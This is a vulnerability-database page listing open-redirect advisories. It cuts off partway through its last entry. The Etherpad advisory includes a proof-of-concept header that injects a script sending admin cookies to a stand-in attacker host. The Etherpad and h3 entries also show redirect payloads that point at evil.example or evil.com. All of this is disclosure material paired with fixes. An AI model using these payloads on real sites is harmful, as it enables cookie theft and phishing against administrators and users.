Common Weakness Enumeration
CWE-601
AllowedURL Redirection to Untrusted Site ('Open Redirect')
Abstraction: Base · Status: Draft
The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect.
2573 vulnerabilities reference this CWE, most recent first.
GHSA-FJFW-648M-HM95
Vulnerability from github – Published: 2023-12-04 15:31 – Updated: 2023-12-07 21:31
VLAI
Details
kkFileView v4.3.0 is vulnerable to Incorrect Access Control.
Severity
6.1 (Medium)
{
"affected": [],
"aliases": [
"CVE-2023-48815"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-12-04T15:15:07Z",
"severity": "MODERATE"
},
"details": "kkFileView v4.3.0 is vulnerable to Incorrect Access Control.",
"id": "GHSA-fjfw-648m-hm95",
"modified": "2023-12-07T21:31:10Z",
"published": "2023-12-04T15:31:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-48815"
},
{
"type": "WEB",
"url": "https://github.com/kekingcn/kkFileView"
},
{
"type": "WEB",
"url": "https://github.com/varzhang/There-is-a-vulnerability-in-kkFileView/blob/main/README.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FJGC-3MJ7-8RG8
Vulnerability from github – Published: 2026-08-13 13:46 – Updated: 2026-08-13 13:46
VLAI
Summary
ep_etherpad-lite: Cache-poisoning Cross-site Scripting and Open Redirect via x-proxy-path Header
Details
GHSA-03 — x-proxy-path header reflected into admin HTML/JS/CSS (cache-poisoning XSS) and concatenated into redirect (open-redirect)
Severity: Medium
CVSS v3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CVSS suggested base score: ~6.1 — Medium
(Re-validate in the first.gov calculator before filing. Score depends heavily on whether you assume a cooperative cache exists in front of the deployment — single-origin admin-only ops with no shared cache push toward 4.x; cache-poisoning against a CDN pushes toward 7.x.)
CWE: CWE-79 Improper Neutralization of Input During Web Page Generation, CWE-601 URL Redirection to Untrusted Site, CWE-444 Inconsistent Interpretation of HTTP Requests
Title
x-proxy-path request header is interpolated into admin HTML/JS/CSS without sanitisation (cache-poisoning XSS) and into a /p/:pad/timeslider redirect target (open-redirect via protocol-relative URL)
Description
Etherpad lets operators run behind a reverse proxy that prefixes every route with a subpath (e.g. /pad/etherpad/...). The proxy is expected to set x-proxy-path: /pad/etherpad on every request so that server-rendered links, asset URLs, and redirects know to include the prefix. Two server-side call sites historically processed this header:
Issue 3a — src/node/hooks/express/admin.ts (XSS, cache-poisoning)
The admin static-serving handler read req.header('x-proxy-path') and substituted it into the response body of every .html/.js/.css asset under /admin/* using String.prototype.replaceAll. The value was used raw, with no character filter and no Vary / Cache-Control headers on the response. Consequently:
- An attacker who can issue a request with a chosen
x-proxy-pathvalue gets that value reflected into HTML/JS/CSS sent back to them. Reflected XSS on the admin origin (requires victim to be tricked into issuing the request from a context that interprets HTML). - More seriously, any reverse proxy or CDN in front of Etherpad that caches
/admin/index.htmlkeyed on URL alone (the common case — noVarywas set) will cache the poisoned response and serve it to subsequent admins. Cache-poisoning XSS against every admin that loads the same bundle from the same cache.
Issue 3b — src/node/hooks/express/specialpages.ts (open-redirect via protocol-relative URL)
The legacy /p/:pad/timeslider handler (direct visits without ?embed=1) built a redirect target as:
res.redirect(302, `${proxyPath}/p/${encodeURIComponent(req.params.pad)}`);
A local sanitizeProxyPath helper filtered the character class but did NOT prevent values beginning with //. A request carrying x-proxy-path: //evil.example therefore produced a Location: //evil.example/p/<pad> header, which browsers interpret as a protocol-relative URL — equivalent to https://evil.example/p/<pad>. Open redirect, exploitable for phishing.
Both issues require the x-proxy-path header to actually reach Etherpad. In a hardened reverse-proxy deployment the proxy strips/overrides client headers, but Etherpad does not enforce this and self-hosted users with misconfigured proxies (or no proxy at all, where any client sets arbitrary headers) are exposed.
Severity rationale
- AV:N / AC:L / PR:N — the admin path requires no authentication of the attacker. The victim of the XSS must be an authenticated admin who loads a poisoned cached response.
- UI:R — victim must visit/interact with the admin UI.
- S:C — scope changes (attacker context to admin origin).
- C:L / I:L — XSS in the admin context can read/write admin-scoped data; full admin-account takeover requires additional CSRF-style chaining.
CVSS lands at 6.1 (Medium). Operators behind a well-configured proxy that strips client x-proxy-path are not exposed.
Affected versions
- Admin XSS (Issue 3a):
ep_etherpad-lite >= 2.1.0, <= 3.0.0. The unsanitisedreplaceAll("/admin", req.header(PROXY_HEADER) + ...)was present in63e9b2d"Fixed api header authorization" (#6399), first tagged in v2.1.0 (2024-05-22). All releases throughv3.0.0carry it. - Open-redirect (Issue 3b):
ep_etherpad-lite = 3.0.0. The legacy timeslider redirect that concatenates the proxy path into aLocationheader was introduced in451bd9c"scrub history in-place on the pad URL" (#7710) and first shipped in v3.0.0. Pre-v3 releases serve the timeslider directly without a redirect and are not exposed to this specific shape. - Combined fix-target range covered by the GHSA:
>= 2.1.0, <= 3.0.0.
Patched versions
ep_etherpad-lite >= 3.1.0— the fix is ondevelopHEAD as commit8c6104c. Update this field with the actual tagged release version when it ships.
Proof of concept
XSS / cache poisoning
curl -s 'https://pad.example/admin/index.html' \
-H 'x-proxy-path: "><script>fetch("https://attacker.example/?c="+document.cookie)</script><i a="'
# If served by a shared cache without Vary on x-proxy-path, subsequent
# requests to /admin/index.html (from any admin) get the same poisoned
# HTML.
Open redirect
curl -i 'https://pad.example/p/foo/timeslider' \
-H 'x-proxy-path: //evil.example'
# HTTP/1.1 302 Found
# Location: //evil.example/p/foo
A browser followed against the etherpad origin treats //evil.example/p/foo as https://evil.example/p/foo.
Workarounds
- Configure the reverse proxy (nginx, traefik, HAProxy, etc.) to strip or overwrite
x-proxy-pathfrom inbound client requests. Most production deployments already do this; the bug only matters in deployments that don't. - For the timeslider redirect specifically: disable the legacy direct-timeslider URL by client-side routing to
/p/:pad(the in-pad PadModeController handles history mode without ever loading the standalone timeslider).
Fix
Patched in 8c6104c (PR #7784):
- Extracted
src/node/utils/sanitizeProxyPath.ts— a single shared helper used by both admin.ts and specialpages.ts. The helper: - returns
""when the header is absent; - strips characters outside
[A-Za-z0-9_./-]; - collapses a leading
//+to a single/(kills protocol-relative URLs); - prepends
/if the cleaned non-empty value doesn't already have one (so callers can always concatenate as an absolute prefix); - rejects
..traversal segments. - admin.ts now emits
Vary: x-proxy-pathandCache-Control: private, no-storeon HTML/JS/CSS responses that varied by the header, so downstream caches cannot collapse responses across different header values.
src/node/hooks/express/specialpages.ts — replace the local sanitiser with the shared one:
-const sanitizeProxyPath = (req: any): string => {
- const raw = req.header('x-proxy-path') || '';
- return raw.replace(/[^a-zA-Z0-9\-_\/\.]/g, '');
-};
+import {sanitizeProxyPath} from '../../utils/sanitizeProxyPath';
src/node/hooks/express/admin.ts — sanitise the value AND emit cache-key/cache-control headers so a shared cache can't collapse responses across different proxy-path values:
if (ext === ".html" || ext === ".js" || ext === ".css") {
- if (req.header(PROXY_HEADER)) {
+ const proxyPath = sanitizeProxyPath(req);
+ if (proxyPath) {
let string = data.toString()
- dataToSend = string.replaceAll("/admin", req.header(PROXY_HEADER) + "/admin")
- dataToSend = dataToSend.replaceAll("/socket.io", req.header(PROXY_HEADER) + "/socket.io")
+ dataToSend = string.replaceAll("/admin", proxyPath + "/admin")
+ dataToSend = dataToSend.replaceAll("/socket.io", proxyPath + "/socket.io")
}
+ res.setHeader('Vary', 'x-proxy-path');
+ res.setHeader('Cache-Control', 'private, no-store');
}
Resources
- Patched in: https://github.com/ether/etherpad/pull/7784 (squash commit
8c6104c). - Admin XSS vulnerable code introduced in: https://github.com/ether/etherpad/commit/63e9b2d (PR #6399), released in v2.1.0.
- Open-redirect vulnerable code introduced in: https://github.com/ether/etherpad/commit/451bd9c (PR #7710), released in v3.0.0.
Credits
Reported during an internal security audit by Claude (via @JohnMcLear).
Severity
6.1 (Medium)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.0.0"
},
"package": {
"ecosystem": "npm",
"name": "ep_etherpad-lite"
},
"ranges": [
{
"events": [
{
"introduced": "2.1.0"
},
{
"fixed": "3.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55087"
],
"database_specific": {
"cwe_ids": [
"CWE-444",
"CWE-601",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-13T13:46:07Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "# GHSA-03 \u2014 `x-proxy-path` header reflected into admin HTML/JS/CSS (cache-poisoning XSS) and concatenated into redirect (open-redirect)\n\n**Severity:** Medium\n**CVSS v3.1 vector:** `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N`\n**CVSS suggested base score:** ~6.1 \u2014 Medium\n *(Re-validate in the first.gov calculator before filing. Score depends heavily on whether you assume a cooperative cache exists in front of the deployment \u2014 single-origin admin-only ops with no shared cache push toward 4.x; cache-poisoning against a CDN pushes toward 7.x.)*\n**CWE:** CWE-79 Improper Neutralization of Input During Web Page Generation, CWE-601 URL Redirection to Untrusted Site, CWE-444 Inconsistent Interpretation of HTTP Requests\n\n## Title\n\n`x-proxy-path` request header is interpolated into admin HTML/JS/CSS without sanitisation (cache-poisoning XSS) and into a `/p/:pad/timeslider` redirect target (open-redirect via protocol-relative URL)\n\n## Description\n\nEtherpad lets operators run behind a reverse proxy that prefixes every route with a subpath (e.g. `/pad/etherpad/...`). The proxy is expected to set `x-proxy-path: /pad/etherpad` on every request so that server-rendered links, asset URLs, and redirects know to include the prefix. Two server-side call sites historically processed this header:\n\n### Issue 3a \u2014 `src/node/hooks/express/admin.ts` (XSS, cache-poisoning)\n\nThe admin static-serving handler read `req.header(\u0027x-proxy-path\u0027)` and substituted it into the response body of every `.html`/`.js`/`.css` asset under `/admin/*` using `String.prototype.replaceAll`. The value was used **raw**, with no character filter and no `Vary` / `Cache-Control` headers on the response. Consequently:\n\n- An attacker who can issue a request with a chosen `x-proxy-path` value gets that value reflected into HTML/JS/CSS sent back to them. **Reflected XSS** on the admin origin (requires victim to be tricked into issuing the request from a context that interprets HTML).\n- More seriously, any reverse proxy or CDN in front of Etherpad that caches `/admin/index.html` keyed on URL alone (the common case \u2014 no `Vary` was set) will cache the poisoned response and serve it to subsequent admins. **Cache-poisoning XSS** against every admin that loads the same bundle from the same cache.\n\n### Issue 3b \u2014 `src/node/hooks/express/specialpages.ts` (open-redirect via protocol-relative URL)\n\nThe legacy `/p/:pad/timeslider` handler (direct visits without `?embed=1`) built a redirect target as:\n\n```ts\nres.redirect(302, `${proxyPath}/p/${encodeURIComponent(req.params.pad)}`);\n```\n\nA local `sanitizeProxyPath` helper filtered the character class but did NOT prevent values beginning with `//`. A request carrying `x-proxy-path: //evil.example` therefore produced a `Location: //evil.example/p/\u003cpad\u003e` header, which browsers interpret as a protocol-relative URL \u2014 equivalent to `https://evil.example/p/\u003cpad\u003e`. **Open redirect**, exploitable for phishing.\n\nBoth issues require the `x-proxy-path` header to actually reach Etherpad. In a hardened reverse-proxy deployment the proxy strips/overrides client headers, but Etherpad does not enforce this and self-hosted users with misconfigured proxies (or no proxy at all, where any client sets arbitrary headers) are exposed.\n\n## Severity rationale\n\n- **AV:N / AC:L / PR:N** \u2014 the admin path requires no authentication of the attacker. The victim of the XSS must be an authenticated admin who loads a poisoned cached response.\n- **UI:R** \u2014 victim must visit/interact with the admin UI.\n- **S:C** \u2014 scope changes (attacker context to admin origin).\n- **C:L / I:L** \u2014 XSS in the admin context can read/write admin-scoped data; full admin-account takeover requires additional CSRF-style chaining.\n\nCVSS lands at 6.1 (Medium). Operators behind a well-configured proxy that strips client `x-proxy-path` are not exposed.\n\n## Affected versions\n\n- **Admin XSS (Issue 3a):** `ep_etherpad-lite \u003e= 2.1.0, \u003c= 3.0.0`. The unsanitised `replaceAll(\"/admin\", req.header(PROXY_HEADER) + ...)` was present in [`63e9b2d` \"Fixed api header authorization\" (#6399)](https://github.com/ether/etherpad/commit/63e9b2d), first tagged in **v2.1.0** (2024-05-22). All releases through `v3.0.0` carry it.\n- **Open-redirect (Issue 3b):** `ep_etherpad-lite = 3.0.0`. The legacy timeslider redirect that concatenates the proxy path into a `Location` header was introduced in [`451bd9c` \"scrub history in-place on the pad URL\" (#7710)](https://github.com/ether/etherpad/commit/451bd9c) and first shipped in **v3.0.0**. Pre-v3 releases serve the timeslider directly without a redirect and are not exposed to this specific shape.\n- Combined fix-target range covered by the GHSA: `\u003e= 2.1.0, \u003c= 3.0.0`.\n\n## Patched versions\n\n- `ep_etherpad-lite \u003e= 3.1.0` \u2014 the fix is on `develop` HEAD as commit `8c6104c`. Update this field with the actual tagged release version when it ships.\n\n## Proof of concept\n\n### XSS / cache poisoning\n\n```\ncurl -s \u0027https://pad.example/admin/index.html\u0027 \\\n -H \u0027x-proxy-path: \"\u003e\u003cscript\u003efetch(\"https://attacker.example/?c=\"+document.cookie)\u003c/script\u003e\u003ci a=\"\u0027\n\n# If served by a shared cache without Vary on x-proxy-path, subsequent\n# requests to /admin/index.html (from any admin) get the same poisoned\n# HTML.\n```\n\n### Open redirect\n\n```\ncurl -i \u0027https://pad.example/p/foo/timeslider\u0027 \\\n -H \u0027x-proxy-path: //evil.example\u0027\n\n# HTTP/1.1 302 Found\n# Location: //evil.example/p/foo\n```\n\nA browser followed against the etherpad origin treats `//evil.example/p/foo` as `https://evil.example/p/foo`.\n\n## Workarounds\n\n- Configure the reverse proxy (nginx, traefik, HAProxy, etc.) to strip or overwrite `x-proxy-path` from inbound client requests. Most production deployments already do this; the bug only matters in deployments that don\u0027t.\n- For the timeslider redirect specifically: disable the legacy direct-timeslider URL by client-side routing to `/p/:pad` (the in-pad PadModeController handles history mode without ever loading the standalone timeslider).\n\n## Fix\n\nPatched in [`8c6104c`](https://github.com/ether/etherpad/commit/8c6104c) (PR [#7784](https://github.com/ether/etherpad/pull/7784)):\n\n1. Extracted `src/node/utils/sanitizeProxyPath.ts` \u2014 a single shared helper used by both admin.ts and specialpages.ts. The helper:\n - returns `\"\"` when the header is absent;\n - strips characters outside `[A-Za-z0-9_./-]`;\n - collapses a leading `//+` to a single `/` (kills protocol-relative URLs);\n - prepends `/` if the cleaned non-empty value doesn\u0027t already have one (so callers can always concatenate as an absolute prefix);\n - rejects `..` traversal segments.\n2. admin.ts now emits `Vary: x-proxy-path` and `Cache-Control: private, no-store` on HTML/JS/CSS responses that varied by the header, so downstream caches cannot collapse responses across different header values.\n\n`src/node/hooks/express/specialpages.ts` \u2014 replace the local sanitiser with the shared one:\n\n```diff\n-const sanitizeProxyPath = (req: any): string =\u003e {\n- const raw = req.header(\u0027x-proxy-path\u0027) || \u0027\u0027;\n- return raw.replace(/[^a-zA-Z0-9\\-_\\/\\.]/g, \u0027\u0027);\n-};\n+import {sanitizeProxyPath} from \u0027../../utils/sanitizeProxyPath\u0027;\n```\n\n`src/node/hooks/express/admin.ts` \u2014 sanitise the value AND emit cache-key/cache-control headers so a shared cache can\u0027t collapse responses across different proxy-path values:\n\n```diff\n if (ext === \".html\" || ext === \".js\" || ext === \".css\") {\n- if (req.header(PROXY_HEADER)) {\n+ const proxyPath = sanitizeProxyPath(req);\n+ if (proxyPath) {\n let string = data.toString()\n- dataToSend = string.replaceAll(\"/admin\", req.header(PROXY_HEADER) + \"/admin\")\n- dataToSend = dataToSend.replaceAll(\"/socket.io\", req.header(PROXY_HEADER) + \"/socket.io\")\n+ dataToSend = string.replaceAll(\"/admin\", proxyPath + \"/admin\")\n+ dataToSend = dataToSend.replaceAll(\"/socket.io\", proxyPath + \"/socket.io\")\n }\n+ res.setHeader(\u0027Vary\u0027, \u0027x-proxy-path\u0027);\n+ res.setHeader(\u0027Cache-Control\u0027, \u0027private, no-store\u0027);\n }\n```\n\n## Resources\n\n- Patched in: https://github.com/ether/etherpad/pull/7784 (squash commit `8c6104c`).\n- Admin XSS vulnerable code introduced in: https://github.com/ether/etherpad/commit/63e9b2d (PR #6399), released in v2.1.0.\n- Open-redirect vulnerable code introduced in: https://github.com/ether/etherpad/commit/451bd9c (PR #7710), released in v3.0.0.\n\n## Credits\n\nReported during an internal security audit by Claude (via @JohnMcLear).",
"id": "GHSA-fjgc-3mj7-8rg8",
"modified": "2026-08-13T13:46:08Z",
"published": "2026-08-13T13:46:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ether/etherpad/security/advisories/GHSA-fjgc-3mj7-8rg8"
},
{
"type": "WEB",
"url": "https://github.com/ether/etherpad/pull/6399"
},
{
"type": "WEB",
"url": "https://github.com/ether/etherpad/pull/7710"
},
{
"type": "WEB",
"url": "https://github.com/ether/etherpad/pull/7784"
},
{
"type": "WEB",
"url": "https://github.com/ether/etherpad/commit/451bd9c3ebb0dded99dd0ff21811ee00e0940c29"
},
{
"type": "WEB",
"url": "https://github.com/ether/etherpad/commit/63e9b2d4eb303cd341022591bdf9484584db36e3"
},
{
"type": "PACKAGE",
"url": "https://github.com/ether/etherpad"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "ep_etherpad-lite: Cache-poisoning Cross-site Scripting and Open Redirect via\u00a0x-proxy-path Header"
}
GHSA-FJRM-89CV-J79Q
Vulnerability from github – Published: 2023-02-09 21:30 – Updated: 2023-02-17 21:30
VLAI
Details
Prior to commit 51867e0d15a6d7f80d5b714fd0e9976b9c160bb0, https://github.com/brave/adblock-lists removed redirect interceptors on some websites like Facebook in which the redirect interceptor may have been there for security purposes. This could potentially cause open redirects on these websites. Brave's redirect interceptor removal feature is known as "debouncing" and is intended to remove unnecessary redirects that track users across the web.
Severity
6.1 (Medium)
{
"affected": [],
"aliases": [
"CVE-2023-22798"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-02-09T20:15:00Z",
"severity": "MODERATE"
},
"details": "Prior to commit 51867e0d15a6d7f80d5b714fd0e9976b9c160bb0, https://github.com/brave/adblock-lists removed redirect interceptors on some websites like Facebook in which the redirect interceptor may have been there for security purposes. This could potentially cause open redirects on these websites. Brave\u0027s redirect interceptor removal feature is known as \"debouncing\" and is intended to remove unnecessary redirects that track users across the web.",
"id": "GHSA-fjrm-89cv-j79q",
"modified": "2023-02-17T21:30:41Z",
"published": "2023-02-09T21:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-22798"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/1579374"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FM3J-3RRX-FRH2
Vulnerability from github – Published: 2022-05-24 16:49 – Updated: 2024-04-04 01:09
VLAI
Details
Read the Docs before 3.5.1 has an Open Redirect if certain user-defined redirects are used. This affects private instances of Read the Docs (in addition to the public readthedocs.org web sites).
Severity
6.1 (Medium)
{
"affected": [],
"aliases": [
"CVE-2019-13175"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-07-02T20:15:00Z",
"severity": "MODERATE"
},
"details": "Read the Docs before 3.5.1 has an Open Redirect if certain user-defined redirects are used. This affects private instances of Read the Docs (in addition to the public readthedocs.org web sites).",
"id": "GHSA-fm3j-3rrx-frh2",
"modified": "2024-04-04T01:09:03Z",
"published": "2022-05-24T16:49:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/readthedocs/readthedocs.org/security/advisories/GHSA-2mw9-4c46-qrcv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-13175"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FP4X-GGRF-WMC6
Vulnerability from github – Published: 2026-03-23 21:48 – Updated: 2026-03-23 21:48
VLAI
Summary
H3 has an Open Redirect via Protocol-Relative Path in redirectBack() Referer Validation
Details
Summary
The redirectBack() utility in h3 validates that the Referer header shares the same origin as the request before using its pathname as the redirect Location. However, the pathname is not sanitized for protocol-relative paths (starting with //). An attacker can craft a same-origin URL with a double-slash path segment that passes the origin check but produces a Location header interpreted by browsers as a protocol-relative redirect to an external domain.
Details
The vulnerable code is in src/utils/response.ts:89-97:
export function redirectBack(
event: H3Event,
opts: { fallback?: string; status?: number; allowQuery?: boolean } = {},
): HTTPResponse {
const referer = event.req.headers.get("referer");
let location = opts.fallback ?? "/";
if (referer && URL.canParse(referer)) {
const refererURL = new URL(referer);
if (refererURL.origin === event.url.origin) {
// BUG: pathname can be "//evil.com/path" which browsers interpret
// as a protocol-relative URL
location = refererURL.pathname + (opts.allowQuery ? refererURL.search : "");
}
}
return redirect(location, opts.status);
}
The root cause is a discrepancy between how the WHATWG URL parser and browsers handle double-slash paths:
new URL("http://target.com//evil.com/path").origin→"http://target.com"— origin check passesnew URL("http://target.com//evil.com/path").pathname→"//evil.com/path"— extracted as redirect location- Browser receives
Location: //evil.com/path→ interprets as protocol-relative URL → redirects toevil.com
Attack scenario: The attacker shares a link like http://target.com//evil.com/page. If the target application has catch-all routes (common in SPAs built with h3/Nitro), the app serves its page at that URL. When the user navigates to an endpoint calling redirectBack(), the browser sends Referer: http://target.com//evil.com/page. The origin check passes, and the user is redirected to evil.com, which can host a phishing page mimicking the target.
PoC
# 1. Create a minimal h3 app with redirectBack
cat > /tmp/h3-redirect-poc.ts << 'SCRIPT'
import { H3, redirectBack } from "h3";
const app = new H3();
app.post("/submit", (event) => redirectBack(event));
const res = await app.fetch(new Request("http://localhost/submit", {
method: "POST",
headers: { referer: "http://localhost//evil.com/steal" }
}));
console.log("Status:", res.status);
console.log("Location:", res.headers.get("location"));
// Expected: a same-origin path
// Actual: "//evil.com/steal" — protocol-relative redirect to evil.com
SCRIPT
# 2. Verify URL parsing behavior
node -e "
const u = new URL('http://localhost//evil.com/steal');
console.log('origin:', u.origin); // http://localhost
console.log('pathname:', u.pathname); // //evil.com/steal
console.log('origin matches localhost:', u.origin === 'http://localhost'); // true
"
# Output:
# origin: http://localhost
# pathname: //evil.com/steal
# origin matches localhost: true
Impact
An attacker can redirect users from a trusted application to an attacker-controlled domain. This enables:
- Credential phishing: Redirect to a lookalike login page to harvest credentials
- OAuth token theft: In OAuth flows using
redirectBack(), steal authorization codes by redirecting to an attacker's callback - Trust exploitation: Users see the initial link points to the trusted domain, lowering suspicion
The vulnerability requires no authentication and affects any endpoint using redirectBack().
Recommended Fix
Sanitize the extracted pathname to prevent protocol-relative URLs. In src/utils/response.ts, after extracting the pathname from the referer:
export function redirectBack(
event: H3Event,
opts: { fallback?: string; status?: number; allowQuery?: boolean } = {},
): HTTPResponse {
const referer = event.req.headers.get("referer");
let location = opts.fallback ?? "/";
if (referer && URL.canParse(referer)) {
const refererURL = new URL(referer);
if (refererURL.origin === event.url.origin) {
let pathname = refererURL.pathname;
// Prevent protocol-relative open redirect (e.g., "//evil.com")
if (pathname.startsWith("//")) {
pathname = "/" + pathname.replace(/^\/+/, "");
}
location = pathname + (opts.allowQuery ? refererURL.search : "");
}
}
return redirect(location, opts.status);
}
Severity
5.4 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "h3"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.1-rc.17"
},
{
"fixed": "2.0.1-rc.18"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.0.1-rc.17"
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-23T21:48:24Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nThe `redirectBack()` utility in h3 validates that the `Referer` header shares the same origin as the request before using its pathname as the redirect `Location`. However, the pathname is not sanitized for protocol-relative paths (starting with `//`). An attacker can craft a same-origin URL with a double-slash path segment that passes the origin check but produces a `Location` header interpreted by browsers as a protocol-relative redirect to an external domain.\n\n## Details\n\nThe vulnerable code is in `src/utils/response.ts:89-97`:\n\n```typescript\nexport function redirectBack(\n event: H3Event,\n opts: { fallback?: string; status?: number; allowQuery?: boolean } = {},\n): HTTPResponse {\n const referer = event.req.headers.get(\"referer\");\n let location = opts.fallback ?? \"/\";\n if (referer \u0026\u0026 URL.canParse(referer)) {\n const refererURL = new URL(referer);\n if (refererURL.origin === event.url.origin) {\n // BUG: pathname can be \"//evil.com/path\" which browsers interpret\n // as a protocol-relative URL\n location = refererURL.pathname + (opts.allowQuery ? refererURL.search : \"\");\n }\n }\n return redirect(location, opts.status);\n}\n```\n\nThe root cause is a discrepancy between how the WHATWG URL parser and browsers handle double-slash paths:\n\n1. `new URL(\"http://target.com//evil.com/path\").origin` \u2192 `\"http://target.com\"` \u2014 origin check **passes**\n2. `new URL(\"http://target.com//evil.com/path\").pathname` \u2192 `\"//evil.com/path\"` \u2014 extracted as redirect location\n3. Browser receives `Location: //evil.com/path` \u2192 interprets as protocol-relative URL \u2192 **redirects to `evil.com`**\n\n**Attack scenario:** The attacker shares a link like `http://target.com//evil.com/page`. If the target application has catch-all routes (common in SPAs built with h3/Nitro), the app serves its page at that URL. When the user navigates to an endpoint calling `redirectBack()`, the browser sends `Referer: http://target.com//evil.com/page`. The origin check passes, and the user is redirected to `evil.com`, which can host a phishing page mimicking the target.\n\n## PoC\n\n```bash\n# 1. Create a minimal h3 app with redirectBack\ncat \u003e /tmp/h3-redirect-poc.ts \u003c\u003c \u0027SCRIPT\u0027\nimport { H3, redirectBack } from \"h3\";\n\nconst app = new H3();\napp.post(\"/submit\", (event) =\u003e redirectBack(event));\n\nconst res = await app.fetch(new Request(\"http://localhost/submit\", {\n method: \"POST\",\n headers: { referer: \"http://localhost//evil.com/steal\" }\n}));\n\nconsole.log(\"Status:\", res.status);\nconsole.log(\"Location:\", res.headers.get(\"location\"));\n// Expected: a same-origin path\n// Actual: \"//evil.com/steal\" \u2014 protocol-relative redirect to evil.com\nSCRIPT\n\n# 2. Verify URL parsing behavior\nnode -e \"\nconst u = new URL(\u0027http://localhost//evil.com/steal\u0027);\nconsole.log(\u0027origin:\u0027, u.origin); // http://localhost\nconsole.log(\u0027pathname:\u0027, u.pathname); // //evil.com/steal\nconsole.log(\u0027origin matches localhost:\u0027, u.origin === \u0027http://localhost\u0027); // true\n\"\n# Output:\n# origin: http://localhost\n# pathname: //evil.com/steal\n# origin matches localhost: true\n```\n\n## Impact\n\nAn attacker can redirect users from a trusted application to an attacker-controlled domain. This enables:\n\n- **Credential phishing**: Redirect to a lookalike login page to harvest credentials\n- **OAuth token theft**: In OAuth flows using `redirectBack()`, steal authorization codes by redirecting to an attacker\u0027s callback\n- **Trust exploitation**: Users see the initial link points to the trusted domain, lowering suspicion\n\nThe vulnerability requires no authentication and affects any endpoint using `redirectBack()`.\n\n## Recommended Fix\n\nSanitize the extracted pathname to prevent protocol-relative URLs. In `src/utils/response.ts`, after extracting the pathname from the referer:\n\n```typescript\nexport function redirectBack(\n event: H3Event,\n opts: { fallback?: string; status?: number; allowQuery?: boolean } = {},\n): HTTPResponse {\n const referer = event.req.headers.get(\"referer\");\n let location = opts.fallback ?? \"/\";\n if (referer \u0026\u0026 URL.canParse(referer)) {\n const refererURL = new URL(referer);\n if (refererURL.origin === event.url.origin) {\n let pathname = refererURL.pathname;\n // Prevent protocol-relative open redirect (e.g., \"//evil.com\")\n if (pathname.startsWith(\"//\")) {\n pathname = \"/\" + pathname.replace(/^\\/+/, \"\");\n }\n location = pathname + (opts.allowQuery ? refererURL.search : \"\");\n }\n }\n return redirect(location, opts.status);\n}\n```",
"id": "GHSA-fp4x-ggrf-wmc6",
"modified": "2026-03-23T21:48:24Z",
"published": "2026-03-23T21:48:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/h3js/h3/security/advisories/GHSA-fp4x-ggrf-wmc6"
},
{
"type": "WEB",
"url": "https://github.com/h3js/h3/commit/459a1c6593365b0810e9c502df7c3e82837321d7"
},
{
"type": "PACKAGE",
"url": "https://github.com/h3js/h3"
},
{
"type": "WEB",
"url": "https://github.com/h3js/h3/releases/tag/v2.0.1-rc.18"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "H3 has an Open Redirect via Protocol-Relative Path in redirectBack() Referer Validation"
}
GHSA-FP5R-V55Q-WGX7
Vulnerability from github – Published: 2022-05-24 17:45 – Updated: 2022-05-24 17:45
VLAI
Details
The appstore before 8.12.0.0 exposes some of its components, and the attacker can cause remote download and install apps through carefully constructed parameters.
{
"affected": [],
"aliases": [
"CVE-2020-12483"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-03-23T17:15:00Z",
"severity": "MODERATE"
},
"details": "The appstore before 8.12.0.0 exposes some of its components, and the attacker can cause remote download and install apps through carefully constructed parameters.",
"id": "GHSA-fp5r-v55q-wgx7",
"modified": "2022-05-24T17:45:04Z",
"published": "2022-05-24T17:45:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-12483"
},
{
"type": "WEB",
